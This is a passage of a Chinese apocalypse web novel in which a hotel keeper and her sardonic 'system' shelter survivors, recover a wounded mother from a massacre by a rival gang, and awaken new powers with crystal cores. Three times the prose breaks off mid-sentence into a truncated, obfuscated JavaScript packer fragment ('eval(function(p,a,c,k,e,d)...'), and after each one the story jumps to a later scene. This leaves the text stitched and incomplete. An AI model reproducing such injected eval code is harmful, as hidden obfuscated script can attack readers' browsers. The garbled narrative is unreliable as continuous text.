随后众人将各自的物资放回房间，自己的床下安置好，又重新回到大厅，开始挑选武器。 老人们尽可能挑了容易拿的轻巧型，基本上都是不同类型的刀具。梁画和双百百也都选了普通的水果刀，而年龄最小的谢珂干脆拎了一把锤子。 何莱忍不住出声提醒：“这个有点重，如果会影响行动的话不用勉强。” 谢珂望过来，眉眼一派轻松：“还没有我的电脑重。” “哦……哦哦。”何莱比了个大拇指。 “你的肩膀……”许约棠抱着徐冬青，忽然出声。 何莱歪头看去，发现那只浅绿色的蜥蜴不知在什么时候又悄悄爬到了她的身上。 她感觉到脸上的伤口又开始疼痛。 “你真的应该升级一下门缝了！”何莱在心里对着系统怒气冲冲。 “从好处想，如果酒店半夜失火，至少还有一只冷酷无情的蜥蜴可以爬出去逃命。”系统懒洋洋地回复：“下次升级会把门缝调低一点的。” 何莱伸手抚摸着蜥蜴的背，努力思索着向众人介绍：“这是……小扎。我养的宠物，呃……投掷型武器。” 蜥蜴被抚摸着，不满地扭动脑袋，在她的肩膀上彻底趴了下来，一副占山为王的派头。 糖糖睁着亮晶晶的双眼哇了一声，这个小男孩或许是因为在末日中被催促着成熟的缘故，平日里总是保持着沉默为主，很少主动地发出什么声音。他几步跑到何莱面前，何莱蹲下来让他小心翼翼地抚摸蜥蜴。 “用扔蜥蜴的方式对敌人造成攻击……吗？”许在杉瞠目结舌，被荣姨笑着推了一把：“小莱在和你开玩笑呐！” “这只蜥蜴好可爱啊！”糖糖双眼几乎闪闪放光。 是啊，进店第一天就把话事人给啃了。 何莱面无表情地心想，再次飞速复盘了目前为止她所有的安排。看起来倒是一切都走上正轨了，应急物资足够，武器装备也有了规模，所有客人基本都被武装，未来的可持续物资正在努力生长，新的战斗力也加入了酒店。等到满20人，他们很快就能升级然后扩大种植与养殖规模......总有机会在系统宣告下线之前完成自给自足和发展战力的工作。 何莱悄悄松了口气。 “前进的道路总是在曲折中探索的。”系统没头没脑来了一句，何莱正想开口，酒店门外传来的脚步声和喘气吸引了众人的注意，所有握着武器的人都站了起来，一起看向大门。 “店长！店长，你在吗？求求你救救我妈妈！”是满身血迹，表情惊恐的吴亓冲了进来，喘息间还带着哭腔：“超市的人打过来了！” “真想给你们拍一部小团圆啊。”系统冷酷地感慨。 “发生什么了？你说！”何莱连忙上前一步，扶住吴亓的时候才发现男孩的整个肩膀都在颤抖。 “发生什么事了？”许约棠和许在杉也冲过来，王守诚已经在收拾背包：“路上说，我们走。” “等等......”谢珂迅速解下身上的行囊：“我也一起去帮忙！”她回头看向双百百与梁画：“你们先在这里安顿下来，我和他们出去一趟。” 梁画握紧双手，只能担忧地点点头，双百百想要向前一步，被谢珂的眼神给拦了下来。她知道要融进一个新的集体就得做出贡献，虽然才刚来一阵，但发生的事情和店长的沟通方式都让她心生好感，她想留在这里生活。但她作为三人团队里武力值最高的一位，实在不想把同伴也拖进危险里，于是谢柯紧跟在许氏姐弟身后，先出了酒店大门。 “蓉姨，拜托你看着孩子们。”何莱回头嘱咐，又冲进自己的房间把床底下的偃月刀扛了出来。 “这......这是......”吴亓结结巴巴，他瞪大眼睛，被何莱驾着往外走：“走！路上再说。” 六人一路奔跑至藏车点，王守诚挥棍砸碎两个跟来的丧尸脑袋，半跪在地上挖着晶核。许约棠熟练地爬上驾驶座启动大巴，何莱拉着吴亓上了后排，从口袋里掏出一包红烧味的压缩饼干，用新武器蓝色蝴蝶刀刮开侧边，递给吴亓，又变魔术般从袋子里掏出一瓶饮用水塞了过去：“先补充能量，休息一会。” 在场唯一的真正异能者可能要担任一会儿的主力，压缩饼干是她急匆匆出门时拿上用来给吴亓恢复体力时吃的，但包里边的水想来是系统帮忙放进去的，何莱掏出来的时候也一愣。 “我妈她......”吴亓捏着压缩饼干，颤抖着双唇哽咽在喉：“今天，早上的时候超市的人忽然过来，说这一片要归他们管，从疗养院到希望基地，以后都要上缴保护费。” 王守诚与谢珂对望一眼，彼此看见了对方凝重的表情，又一齐看向何莱。翡翠酒店尚未被附近的人察觉，在这次逃过一劫是侥幸。但谁能保证下次他们不会察觉到酒店的存在？ “前几天确实看见过陌生人来居民区。”谢珂说：“梁画的摄像头放得到处都是，所以录到了。他们那群人因为不熟悉居民区结构，还在摸索。”想来是打算趁着希望基地覆灭，勒索那些失去了靠山的残留幸存者们。 “昨天我们避开了他们吗？”许在杉举起手，后怕地发问。 “昨天早上他们来到疗养院，说要和我们谈判。”吴亓想起来，眼神里闪过一丝痛苦的恨意：“谈了一个上午。他们那边有异能者，我们这边也有。还有枪。”他猛地灌了一口矿泉水，开始狠狠地咬压缩饼干，含糊不清地继续说明：“但我们那都是一群软骨头，看见对方气势嚣张就开始怕了。” “我们以为超市的人离开了，但他们根本就全部藏在一楼，就等着假意走掉以后我们内乱。有人开始吵着要每月缴纳物资换和平，有人又开始借题发挥指责我妈杀死后爸和之前收留老人的事情。”吴亓擦了一把眼睛：“后面他们开始说那些被送走的老人都是被我妈处理掉了，他们留在疗养院只会更危险，还威胁我妈要投奔超市。现在想想，从头到尾咬着我妈不放的那两个人就是被超市收买了！”男孩的眼睛不甘愿地瞪着：“我正在和他们吵，谁知道超市的人忽然上来......”他的声音骤然低了下去，带着浓浓的愧疚与悔恨：“都怪我，我如果那个时候看一眼后边——” 疗养院本就人心不齐，又几经争执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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王守诚无奈地摊手：“当时不知道怎么想的就偷走了。所以只敢停在酒店附近的地下车库，每次下车都要杀掉那一群被带过去的丧尸才能出来。挺不方便的。” 不知道怎么想的......何莱心想，你当时手起方向盘落的偷得那叫一个雷厉风行。 “等会儿我打头阵，进去探查。”何莱说：“带着谢珂，你们躲在门口的绿化带后边，等我信号。”她拍了拍偃月刀：“别担心，我带了武器。” “你们......的武器......”吴亓的视线从许在杉握着的菜刀再移到谢珂手中拎着的锤子：“能行吗？” “能行的。”何莱点头：“都是冷兵器，打起来一样好用。他们超市总不能人手一把冲锋枪吧？”她顿了顿，停下来又问一句：“没有对吧？” “你妈妈是不是还有一把手枪？它现在是在谁的手上？”王守诚突然发问。 “已经被超市的人抢走了。”吴亓低下头：“但子弹应该只剩下三枚，超市那边，自己是没有热武器和弹药的。” “嗯......”何莱眉头紧皱：“他们这个无赖作风，迟早有一天也会威胁到酒店的安全。但就算上吴亓，我们这边拿得出手的最多也只有一个超能力者和剩下七个普通战斗力，我，王叔，你们姐弟，三个公司职员。” 众人一起抬头望向何莱。 “我的超能力在酒店外就会失效。”何莱面色平静：“毕竟是人工培育款，很鸡肋的。” “喔。”众人垂下头。 “喂，你们看起来好失望啊。”何莱接过王守诚开始分发的压缩饼干，塞进自己的嘴里：“别哭了吴亓，水给我喝一口，这饼干噎得慌。” 一群没吃早饭的人抓紧时间补充着能量，大巴车里的气氛一时之间又沉闷了下去。 一小时后。 大巴车抵达疗养院外两百米的路口，王守诚踩下一半刹车，小心翼翼地缓慢绕行，停在一处破败不堪的小巷里，拔掉车钥匙与两姐弟先行下了大巴。 何莱打头阵，吴亓跟在身后，谢珂负责殿后，三人分别握着手中的长刀、手枪和锤子，动作迅速地往疗养院的位置赶去。 14. 母鸡、绵羊和蜥蜴进行曲14 “王叔……”许在杉保持着距离跟住他们，虽然已经脱离了超市的团队，依旧在接近随时可能与他们撞上的疗养院时露出一丝软弱的阴影。 过去留给他们的恐惧实在太大了。 “今天他们不会带走我们基地的任何人。”王守诚只留给他们一个前行的背影，头也不回说道。 “别怕。”许约棠拍了拍在杉的肩膀，她板着脸，面若寒霜。 过去那些恐怖的回忆全部涌了出来，超市的人们以虐待取乐，平日里对着那些被收留的非核心成员拳打脚踢，甚至加以羞辱……不知道多少次许约棠只能闭上眼睛，不去看那些人丑恶的面目和同类发出的、歇斯底里的惨叫声。她知道那是什么滋味，和许在杉一样，也都曾深陷恐惧之中，明白无力反抗和逐渐放弃的绝望。 那里简直是地狱，而现在地狱之门已经敞开，笼罩的阴影又一次悄然扩大了。 在这一次出行之前，店长曾经把她叫到一边低声问过，如果姐弟觉得不能面对，可以临时换人。但许约棠拒绝了。此刻她看着双胞胎弟弟相似的面容，再次开口将当时的回答说给许在杉听：“我们只有亲自洗刷回忆，才能把自己从深渊里拖出去。”她握紧自己的武器：“必要时，我也能像他们一样杀人。” 王守诚走在前方的身影停步一会，确认一切正常，然后回身指引他们在灌木丛后躲避，突然开口：“这段时间你们试试吸收晶核，过去在超市那边应该没有机会这么做。现在说不定就能觉醒异能。” “我还没有试过。”许约棠苦笑：“哪有这么幸运的事呢，不过就算我没有异能，也能够在末日中生活下来。” “这我毫不怀疑。”王守诚说：“你是个天生的战士。” 吴亓的脚步在疗养院大门外停了下来，他整个人的背影看起来完全呆滞了，一直负责向后警戒的谢珂扭过头来，被面前的人挡住视线，疑惑地绕了过去，她也猛地收住了脚。 何莱站在最前方，面色惨白地回过头，对着王守诚三人比了个停止手势，让他们不要靠近。 整个疗养院的大厅都是血。 不是那种洒满一地鲜血的视觉震撼，而是从二楼滴落砸下来的血液铺满了楼梯，流淌至一层地板的每个角落。甚至在进门的低陷处堆积成一个漩涡，鞋子踩上去能感受到浸蚀鞋底的冰凉湿意。 吴亓整个人都陷入了恍惚，被何莱拖着强行往二楼走，谢珂在后边扶着，与何莱小声比了个口型：“他们可能已经走了。” 何莱眉头紧皱，点了点头。她不敢想象，要杀死多少人才能有血流成河的惨象，看着吴亓发不出一点声音地被推着向前，何莱干脆拉过他的手，带着他迈上二楼。 超市的人似乎想用屠杀泄愤，二层满地都是横七竖八的尸体，过去的成员们或躺或趴，了无声息地倒在地面。 倩姐捂着自己的脖子，仰面躺在楼梯上，睁大双眼，面色惨白地望向天花板。在听见脚步声时努力抬头去看，望见何莱与吴亓的那一刻猛地一震，有些激动地想要起身。 “别动！”何莱一个箭步上前，在血泊里滑了一下，稳住身子压低声音：“先告诉我超市的人离开没有，如果离开了就闭上眼睛。” 倩姐闭上了眼睛。 “很好，现在睁开眼。保持冷静，不要忙着和吴亓说话，你能活下去。”何莱迅速检查了倩姐捂着的伤口：“箭还在里边，堵住了伤口，让你没有失血太多，但如果你现在想要发声或者移动就会扩大伤口，不一定还能救下来。倩姐，记住我说的话，你躺在这里千万别动，我带了人帮忙，把你搬回我们酒店再处理。别的事情都能回去再说，如果没问题就闭上眼睛。” 倩姐眨了眨眼，再次闭眼的时候流下一滴眼泪。 “吴亓，谢柯，分头去检查这一层周围的人。我回去给王守诚发信号。今天能救一个是一个。”何莱努力目不斜视，越过挡在面前的一具尸体，即使它已经被刀砍得血肉模糊，被扯开的衣服破破烂烂。 接到信号的王守诚三人在进入大厅后也被这副惨象惊呆了，跟着何莱走进二楼。吴亓跪在一具尸体旁哽咽着，谢柯站在他身边摇头：“这层十四个......都没气了。”吴亓抬起头，眼神变得像头恶狠狠的狼兽：“这里都是普通成员，那些和他们打起来的肯定是被绑走了！” “你们在这等一会，王叔，跟我去楼上找担架。”何莱当机立断，向王守诚挥了挥手。 “来了。”王守诚的右手压在匕首，左手已经掏出甩棍，抢在何莱前边两步，谨慎地往上走。 许在杉仰着头望着头上，楼顶静悄悄的，什么声音都没有。许约棠在后边轻轻拍着吴亓的后背，帮着他顺过气来，谢柯皱紧了眉头也在等待。 他们去了很久。 等到吴亓也无法再等待想要往上冲时，何莱扛着被血染红的护理担架走了下来，王守诚跟在后边替她拿着长刀，两人的精神都有些不振，吴亓忍不住问：“发生什么了？” “先把你妈送回酒店，前台有麻醉剂和止血消毒的药物。物资都被超市的人搜刮带走了，我们不知道他们会不会又突然杀回来找你或者想带走倩姐，快走。”何莱的声音沙哑，开口后语速越说越快，在旁边勉强挑了一处干净的地板放下担架：“王叔抬肩膀，约棠谢柯帮忙扶着腰，你们两个男生一人抬一条大腿，动作快！”她略显慌乱地站在原地，不住往窗外看去。 众人经过一番折腾，终于把倩姐放上担架，后者已经连痛苦的呼叫声都无法发出，被鲜血浸泡染红的衣服紧紧贴在身上，让她的体温低得可怕。 “快走，快走，快走！”何莱重新拎起长刀，谢柯主动跑去前边探路，王守诚和两个男生抬着担架跟在后头，许约棠快步走在何莱身侧，望了她一眼，用极低的声音问了一句：“店长，吴亓说的那些人是不是在楼上？” “是。”何莱的眼神里透露着一阵又一阵的恐惧：“超市的人已经走了。但剩下的......那里......变成了人间炼狱。” “如果有一天，他们发现了我和在杉。”许约棠突然开口：“把我们交出去就行了，不要硬碰。” “他们也不会放过酒店。”何莱望向她：“如果有那一天，我们放弃反抗，都会成为被拖到三楼的人。” “......我明白了。”许约棠握紧手中的峨眉刺。 一路回到翡翠酒店，总算有惊无险。 谢柯主动负责了与王守诚去地下车库的收尾工作，何莱连忙带着人冲上酒店二楼，开了一间新的客房，将浑身是血的倩姐放在床上。老人们全部围在门口，面上都是忧虑和悲愤。 “有医生吗？有医生吗？”何莱抓紧问了一圈。 “我是中医。”一个约莫六十岁出头的老人举起手，他穿着一件洗不干净的太极长袍，身形消瘦，平日里很少讲话，总是不引人注意，何莱甚至不能准确叫出他的名字：“是......葛爷爷？” “让我看看吧。”葛爷爷往前几步赶到床前，何莱连忙在空中伸手呼唤系统，让系统把之前她回来的麻醉药与消毒酒精棉一起送到手中递过去。 葛爷爷为倩姐注射了一管麻醉，随后拆开酒精棉，回头看了何莱一眼：“有没有剪子？菜刀也行。” “有有有！”系统在何莱耳边风风火火，一把重型园艺剪砸在何莱的肩膀。 “......”何莱咬着牙扶起来，在葛爷爷的指导下将长长的箭尾剪短，只剩下足够用手握住的短柄，倩姐已经因为疼痛而晕厥过去了。 完全拔出这把箭用了一阵子，吴亓全程守在旁边，咬紧下唇望着葛爷爷左右权衡，尽最大努力止血，何莱更是将各类带回来的药物抱了满怀，随时准备着递出去和帮手。 等倩姐的伤口被彻底消毒、上药和包扎，紧紧缠上绷带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“......盒饭不是你准备的吗？”吴亓疑惑地看她一眼，最终还是拿过了被何莱放在床单上的盒饭。 “这个以后再跟你解释。”何莱往嘴里扒了满满一口饭，再次吃到新鲜炒肉的感觉让她不禁动容：“别太担心了。至少把倩姐救回来了，是好事。” “我知道......”吴亓低低地叹一口气，也跟着夹了一块青椒放入嘴里，瞬间瞪大了眼睛。滚烫咸香的新鲜蔬菜，带着肉的香味卷席了末日中逐渐萎靡的味蕾。 “管家，管家，这是今夜特供还是以后也能有啊？”何莱又夹一口万年不变的青菜，简直要被感动得流下眼泪。 “两份特供，今晚没有了。”系统生硬的声音响起：“等会你就知道了，人工智能不做赔本卖卖。” “什么？” “这个。”吴亓像是下定了决心，从身后的枕头下掏出一个布袋，里边装满了晶核与两张碧绿色的半透明卡片。吴亓把它郑重地交给何莱：“我来求救的时候，我妈塞给我的积蓄，我一直来不及告诉你。”他顿了顿，垂下眼睛不让自己的语气太过消沉：“疗养院仅剩的全部晶核，都在这里了。” “这——”何莱愣住。 “我妈让我往火箭发射中心跑，那里建立起的友谊基地规模很大。我知道她是希望我开启新的生活。”吴亓不管不顾地继续说，没忘了替何莱解决疑惑：“晶卡是中型以上基地在去年推出的技术，内部能储存两百晶核，里边有一张是满的，还有一张剩下不多，都可以去基地里兑换出晶核或者购物。” “你把这个给我，就为了投奔我们这个破酒店吗？还是报恩啊？”何莱开玩笑地问。 “我想报仇。”吴亓双手撑着床单，对着何莱突然转个方向，正对着她深深跪拜：“请您帮助我！” “啊？不是！”何莱在心里对着系统大声呼救：“这真是NPC啊?怎么还深夜触发隐藏任务啊！” 系统没有回应。 “你先起来......”何莱伸手去扶吴亓，奈何对方跪得无比坚决。 “这样吧，你先把盒饭吃完，别浪费。”何莱无奈，缓缓开口：“我先出去思考一下，晶核给你留这儿了。我想明白了再回来。你能睡就抓紧睡一会儿。” 吴亓猛地抬起头，就望见何莱端着盒饭开门离去的背影。 15. 母鸡、绵羊和蜥蜴进行曲15 “亲爱的店长，我必须得说，我出现在这里主要起到的是监管义务和一点点微末的引导职权。”系统懒懒散散地开口，何莱坐在自己的小床上低头专注地吃着盒饭，力求用米饭刮走所有盛放肉块的小格子内残留下来的油脂，发出支支吾吾的含糊应付声来回答系统的淳淳善诱。 “我不是来给你当保姆的。”系统怒喝一声：“那小男孩会把所有人害死！” 何莱终于放下空盒饭，叹了口气。 “那要怎么办呢？把他和倩姐，甚至还要把老人们一起赶出去？为了确保他们不说出酒店的事情，难道还要灭口吗？”何莱摊开手：“如果不是老人们带来的酒店升级，现在我还吃不上肉呢。”何莱又垂下眼：“那我以后要怎么面对王叔，怎么面对新来的姑娘们和冬青、糖糖，还有那对刚从超市里死里逃生出来的姐弟呢？告诉他们我们得躲在这里一辈子，祈祷不被发现？” “恕我提醒一下，店长大人。他们不是从超市里逃出来的——虽然至今为止都对您强制性让他们脱离超市的做法没有任何怨言。”系统冷硬地开口：“一旦你决定这么做，就没有回头路。一旦和超市对立起来，不是杀掉一个你想象中的坏人头领就天下太平了。而是他身边的亲信都得杀掉。甚至整个超市的人——当然更有可能，你会是那个被杀掉的人。” 何莱缩在被子里，听着系统在耳边嘀咕。 “对不起。”她望着窗户轻声说：“我又犹豫了。” “没关系，到了必要抹杀你的时候我会迅速下手。” 房间里的气氛沉闷得让刚从门缝爬进来的蜥蜴一愣，随后毫不客气地沿着床脚一路爬上店长大人的枕头趴好。 “……” 系统沉默许久。 “……” “首先，我们绝不能在这个时候开战。”系统突然说。 “是的，军师！”何莱掏出笔记本。 “晚一点，你强迫性地问我吴亓妹妹的下落，最好用辞职不干来威胁，我会出于保障任务顺利行进的原则，装作迫于无奈地告知你：她在距离这里非常遥远的某个基地，随后......” “等下军师，她真的在那里吗？”何莱举起手。 “她必须在那里。”系统冷淡道：“把你的手放下，再把蜥蜴从你的肩膀上拿下来。它很快又要吓你一跳了。” “随后你向吴亓提议，拿走一半的晶核，用于酒店运营与分发给众人试着激活异能，哦，王守诚父子和新来的社畜三人组不用。他们试过了。”系统说：“除了他们以外，目前在你酒店里的所有客人都有一个共同特点，那就是他们在末日里过得惨爆了，根本没有机会得到晶核来尝试唤醒自己的异能。”系统停顿一下，干脆一口气说完：“换句话说，相当于尚未刮开的彩票，和外边满大街乱晃的明确未中奖彩票不一样。你还有祈祷的机会。” 何莱有一下没一下地敲着蜥蜴的脑袋，忽然问道：“那当中会出现异能者吗？” “......会。”系统再度停顿：“我为不存在的主角团队申请到了调度更多特殊NPC的名额，必出防御系的辅助异能，你希望给谁？” “姐弟里的任意一个。”何莱说：“我想再请问一下啊，就是我......” “你不可能有超能力，倒是很爱顺竿子往上爬。”系统冷酷地打断她：“为了专注酒店事业，你不能被别的分心，这种可能性是完全被剥夺的。”它又柔和了一点：“要么把我的存在当作你不同寻常的超能力，要么，把你自己当□□幻听幻想的精神病。选一个吧。” 何莱迅速放下了手。 “好吧，告诉我他妹妹叫什么名字。谎言在我们酒店都要因为泛滥而开始贬值了！” “吴悠，很讽刺的名字啊。”系统说：“别哭丧着张脸给我看，厨房的柜子里有一台冷冻冰箱，我刚才在里边放了十份盒饭，收取了你十翡翠币的费用。因为扣除掉了套餐里的矿泉水……” 何莱抬起脑袋。 “所以冰箱里有半只新鲜的鸡作为补偿，这是我权限内能够调动的全部了。”系统的语气硬邦邦：“用十瓶水换，不吃亏吧？” “菲菲！！！”何莱惨叫。 “不是你那只母鸡！” 二十分钟后。 “总之，现在的情况就是这样......”何莱再度坐在吴亓面前，简短地解释她从特殊渠道里得到的信息，表情十分严肃：“这两张晶卡你自己留下。剩下的晶核我收下，当作带你找到妹妹的报酬。等到了那边，先找到你妹妹，看看她的未来打算，再把晶卡兑换出来，毕竟如果你依旧决意复仇的话，我们就需要做详尽的计划，包括物资储备与成员的异能激活。”何莱说：“毕竟你的愿望是去复仇，不是送死。目前酒店的现状也和你说得很清楚，如果你觉得没问题的话，我就要去通知剩下的人了。” “永恒基地......”吴亓喃喃念着何莱告诉他的地址，后者依旧谎称是在希望基地的外派联络点中得到的消息。 “我没必要骗你。”何莱强作镇定：“我们明天就能出发。这期间正好也让你妈妈好好养病。” “姐，我相信你。”吴亓看了一眼倩姐，随后像是下定决定般点头：“等我妈好起来，我们就能一家团圆了。” “这个......说到一家团圆，我的确没收到任何有关于你父亲的消息。”何莱挠头：“不过也可能只是消息渠道不够全面。既然他和你妹妹在末日来临时待在一块，说不定也在那个基地里等着你去寻找呢。” “我相信。”吴亓用力点头。 “管家，我感觉有点缺德。”何莱在心里说：“虽然的确是要去找他的家人，但我有种先把这小孩哄着转移出去冷静的感觉。” “酒店经理的对口工作啊，亲爱的店长。”系统说。 “来来，所有从未使用过晶核激活异能的人都拿一颗，回去了洗干净再吞，吞完到床上躺下睡一觉。”何莱在大厅里忙着招呼分发，老人们逐个走到她面前，冬青也怯生生地跟在后边。何莱顺手揉了一把她的脑袋，一旁的许在杉拿到晶核，不以为意地往嘴里一丢，不到几秒钟的时间就双腿一软，陷入昏厥。 “怎么晕过去了？！”何莱大惊失色：“噎住了吗？” “可能是觉醒了。”王守诚快步赶到他身边，用力拍了拍许在杉的后背，又探了一下鼻息，费劲地左右摇晃他：“醒不过来，那就是陷入异能觉醒后的昏睡期了。”许约棠听闻之后面带喜色，振奋地一起扶着许在杉往楼上走。 “看见了吗？一定要到床上去再吃啊。”何莱叮嘱剩下的众人。 “嗯，店长，我们能谈谈吗？”王守诚送完了许在杉，又回到何莱的身边。她点了点头：“当然，去你们房间？” “好。”王守诚抱起糖糖，跟在何莱身后。 “你是不是想问，我们和超市要开战了吗？” 何莱坐在糖糖的床边，抬头望向王守诚。 对面那位父亲迟疑片刻，点了点头：“我们不可能是他们的对手，如果真要开战，我们这边没有人能活得下来。店长，这是真话。” “我知道。”何莱平静地说：“所以我才决定尽可能往后拖延这场战争到来的时间。其实......无论是因为车的原因，还是约棠和在杉，或者吴亓倩姐，我们之间的冲突已经不可能避免了。超市里的那群人已经有了取代希望基地统治这片区域的打算，未来迟早会碰上。” 糖糖跑到何莱的身边，趴在床边继续听着店长讲话。 “吴亓的妹妹在永恒基地，他父亲暂时没有消息。明天或者后天，我想着干脆带着他去那边找到亲人，看看能不能说服那孩子留在基地里生活，暂时先放下复仇的念头。” 何莱叹了口气：“如果不行，这次来回也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小莱啊，我们想庆祝一下，拔了后院的芽苗菜炒土豆，还有你王叔买了一份盒饭，把你那个什么币放在前台了啊。”蓉姨带着旁边那位头顶银霜的慈祥奶奶站在厨房里忙忙碌碌，何莱探头往锅里一看，依旧是熟悉的便当组合，盐炒鸡蛋，白灼青菜，还有苦瓜炒腊肉。混合土豆与大量的芽苗菜，翻炒起来竟然也有一番独特香味。 “我妈已经醒来了。”吴亓坐在沙发上，指了指头顶：“葛爷爷还在楼上。” “葛爷爷觉醒了异能，医疗系的。”许约棠笑眯眯地站在茶几旁：“我在冰箱里看见了半只鸡，是给倩姐准备的吧？” “嗯，还不知道她能不能喝汤，这半只鸡，再砍一半用来炖吧，剩下的那四分之一只，加进锅里去一起炒了给大家吃。”何莱点头，随后望向许约棠：“你......” “没有觉醒异能。酒店里就只有葛爷爷和在杉这么好运气。”许约棠大大方方地承认：“我是有点遗憾，但这种事也强求不来。以后再找机会吧。” 何莱点头，拍了拍她的肩膀。 “在杉还没醒吗？”王守诚抱着糖糖靠在沙发上，就听见许在杉打着哈欠下楼的声音。 “醒了，醒了，各位早啊。”许在杉的心情显然很好：“王叔，你拿刀出来砍我一下。” “......”王守诚放下糖糖，抽出自己的匕首，盯着许在杉的手臂：“确定吗?砍哪？” 许在杉抬起手臂，低着头凝神紧盯自己的皮肤，直到那一处开始隐隐泛着银色才开口：“就这里，快!” “行。” 王守诚稍微保留了一点力度，食指压着匕首背，摁在许在杉的手臂，立刻察觉到那一片皮肤变得坚硬，难以划开。 于是王守诚用力地猛滑一刀，却也只是在那块皮肤上留下一道白痕。随后银色逐渐消淡，许在杉收回手臂：“防御系的异能，我可以控制身体的任何一处部位变得坚硬，在遇到丧尸的时候也能靠这个躲避咬伤。”他忽然朝厨房的方向闻了闻：“好香。是在做什么？” “杂烩饭。”王守诚收回匕首。 许在杉挠着头说：“但我目前只能持续很短暂的时间，而且硬化范围不能太大。” 16. 母鸡、绵羊和蜥蜴进行曲16 “刚开始能做到这个程度已经很好了。”双百百在旁边用手指梳头发：“我之前见过的异能者，是我楼下邻居，他能双脚离地。但一开始只能十厘米，也是慢慢提上去的。”梁画给她递过去一个有些破旧的梳子，接过话头：“后来就能飞了，也是你们护城军团的。” “狗蛋啊。”王守诚点头，露出怀念的表情：“我知道他，那小子精得很，天生当斥候的料。” “谢柯还在睡吗？”何莱环顾一周，没看见那位沉默寡言但可靠的姑娘。 “可能昨天太累了。”许约棠说：“我上去叫她？都快吃饭了。” “我去吧。”何莱对着厨房喊：“蓉姨，让奶奶多放两包方便面，我等会补过来，再多下一份盒饭，把鸡砍一半扔进去炒了吧，今天大家一起吃。” “感觉好像回到了公司团建。”双百百压低声音对梁画说，被她捅了一下腰。 何莱上了楼，在那位姑娘的房门口压低了声音。 “谢柯？” “我在。”谢柯的声音沉稳，却是从隔壁倩姐的房间里走了出来，敞开门让何莱看已经清醒过来的倩姐和旁边给她重新换药的葛爷爷。 “葛爷爷，倩姐。”何莱走进去，在床边坐下，握住倩姐的手，看向一旁的老人：“倩姐她好点了吗？” “好很多啦。我试了试你们说的那个异能，洞口恢复得很快，已经在长了。只是伤到声带，还不怎么能讲话，我想再用那个异能的时候，发现就用不了了。”葛爷爷笑得有些如释重负：“没想到我这老头子也终于能帮上忙了，多谢啊。” “是我谢谢您才对，葛爷爷。”何莱感激道：“已经很好了。异能刚觉醒的时候就是这样，等以后随着使用的增多和吸收更多晶核，会越来越强大的。” “何......”倩姐的声音传来，她努力想要发出声音，但是只有气流的空洞声响起。 “哎不着急不着急！”何莱打个响指，系统任劳任怨地把她放在自己房间里的笔记本和铅笔都送到床头，何莱递到倩姐手上：“您先写，我来讲话就好。”她回头望望众人：“大家先下去吧，午饭快做好了，今天特别丰盛。” “好嘞。”葛爷爷笑呵呵地站起来，谢柯一言不发地跟着出去，顺便帮房间里的两人带上了门。 倩姐在笔记本上吃力地写下吴亓的名字，画了一个问号。 “他还在隔壁房间。昨天守了一夜睡着了，差点倒下去把他妈砸死，我给他移走了。”系统说。 “他一直守着你，刚才终于撑不住睡过去了。我们把他移到隔壁房间去了。”何莱说：“他没事，心理状态也还行。但昨天我们得知他的妹妹吴悠在永恒基地，我收了他的几十晶核，今天会带他去一趟。”倩姐抓着她的手猛地握紧，何莱连忙安抚地拍拍：“别激动，倩姐，放心吧。路上我会照顾好他的，你在酒店里安心养身体。” 倩姐继续在笔记本上写：“吴百威？” 何莱歪着脑袋看了，猜测大概是她原本的丈夫，摇了摇头：“目前没有得知他的消息，去到那边以后我会留心。” 倩姐停了一阵，看起来有很多话想说，最终也只是写了两个字，将笔记本举起来面向何莱。 “谢谢。” “不用客气。我不在的日子，还要拜托你和王叔帮我看着酒店。”何莱再度握住她的手：“酒店目前的情况是这样——包括我在内的共17人。有王叔父子俩，分别是王守诚和王唐，王叔就是那天开车的男人，他儿子四五岁的样子，你可以叫他糖糖。他们是从希望基地出来的。”她说：“刚到的三个小姑娘也是希望基地原居民，双百百，梁画和谢柯，你以后会见到。再就是超市里逃出来的姐弟俩，姐姐许约棠，弟弟许在杉，弟弟有身体硬化的防御异能。” 倩姐点点头。 “还有徐冬青，一位很小的姑娘，大概八九岁，会开锁，之前在街上一个人流浪。”何莱说：“疗养院这边，六位老人和你们母子俩，一共八人。昨晚我给大家分发了晶核，葛爷爷也觉醒了异能，是医疗方面的。所以你的伤口应该不会对以后有太大影响。”她拍了拍倩姐的手：“都会好起来的。” 倩姐又开始在本子上写：“你的异能，可以问吗？” “我的情况比较复杂。”何莱说：“属于空间系，没有太大作用，你可以当作我没有异能。” 倩姐露出疑惑的表情，何莱站起身来：“目前我们这里勉强能运营，别担心，老人们也都很好，被酒店正式聘请了，各司其职。”她掰着指头：“蓉姨是后勤总管，我不在的时候会帮忙代理售卖冰箱里的盒饭。收费问题以后让吴亓和你讲吧。葛爷爷负责大家的治疗，冬奶奶正在厨房里做午饭，在杉经常和她一起学着做东西，我们还在后院种了菜。黛奶奶和高爷爷很擅长打理这些植物，目前种植的规模还小，所以我们菜园里的收获是一切共享的，以后扩大了或许会更规范一些。春奶奶特别受孩子们和小动物的喜欢，有时候帮忙喂下鸡。哦对，我们还养了一头羊，王叔——就是王守诚在空闲的时候会带它出去吃点草。如果你还有任何需要，也可以去找蓉姨，她平时会照顾客人们的需求。” 倩姐看起来有些吃惊。老人们真的在这里被安排了具体负责的事项，并且明确保障生存的待遇，和疗养院里有些随机全凭幸存者们心情的物资分配不同。有时候倩姐外出，老人们连着几天都分不到食物也是常态。 “我先下去看看，顺便把吴亓叫起来吃饭。倩姐你先休息，晚点鸡汤炖好了我再送上来。”何莱说，顺手拿走了笔记本和铅笔：“等葛爷爷的异能可以再使用了，再让他上来看看您。” 何莱缓缓下了楼，正好看见小姑娘趴在桌子上，眼睛一眨不眨。 